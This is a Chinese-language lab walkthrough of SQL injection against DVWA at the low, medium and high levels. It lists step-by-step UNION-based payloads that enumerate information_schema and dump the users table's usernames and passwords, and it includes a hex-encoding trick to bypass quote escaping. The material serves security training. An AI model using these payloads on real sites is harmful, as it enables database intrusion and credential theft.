DVWA-SQL注入

low
1.判断注入类型
输入1’and’1’=’1
DVWA-SQL注入
输入1’and’1’=’2 无结果
DVWA-SQL注入
输入1’or’1’=’1 类似1’or’1234’=’1234
DVWA-SQL注入
由此判断出为字符型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
输入1’ order by 1
DVWA-SQL注入
输入1’ order by 2
DVWA-SQL注入
输入1’ order by 3
DVWA-SQL注入
由此判断有俩个字段
3.确定显示的字段顺序
输入1’ union select 1,2#
DVWA-SQL注入
4.获取当前数据库
输入1’ union select 111,database()#
DVWA-SQL注入
5.获取数据库中的表名
数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
DVWA-SQL注入
6.获取表中的字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
DVWA-SQL注入
7.下载数据
1’ union select user,password from users#
DVWA-SQL注入
Medium
由于中级有敏感词过滤,所以通过burpsuit抓包改参数遇到字符转义时可以用base64替代
1.判断注入类型
无法写入单引号等字符
DVWA-SQL注入
由此判断出为数字型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
order by 1
DVWA-SQL注入
order by 2
DVWA-SQL注入

order by 3
DVWA-SQL注入

由此判断有俩个字段
3.确定显示的字段顺序
union select 1,2#
DVWA-SQL注入

4.获取当前数据库
union select 1,database()#
DVWA-SQL注入
5.获取数据库中的表名
union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
DVWA-SQL注入
6.获取表中的字段名
union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’# 由于‘被转义,所以将users转为0x7573657273(数据库识别16进制)
DVWA-SQL注入
7.下载数据
union select user,password from users#
DVWA-SQL注入
High
多了limit1限制,注释掉就行,与low过程x相同
1.判断注入类型
输入1’and’1’=’1
输入1’and’1’=’2 无结果
输入1’or’1’=’1 #类似1’or’1234’=’1234#
由此判断出为字符型注入
2.判断字段数
ORDER BY 1 表示 所select 的字段按第一个字段排序,当后面跟的数字超过字段数时,则显示错误
输入1’ order by 1#
输入1’ order by 2#
输入1’ order by 3#
由此判断有俩个字段
3.确定显示的字段顺序
输入1’ union select 1,2#
4.获取当前数据库
输入1’ union select 111,database()#
5.获取数据库中的表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
6.获取表中的字段名
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
7.下载数据
1’ union select user,password from users#
DVWA-SQL注入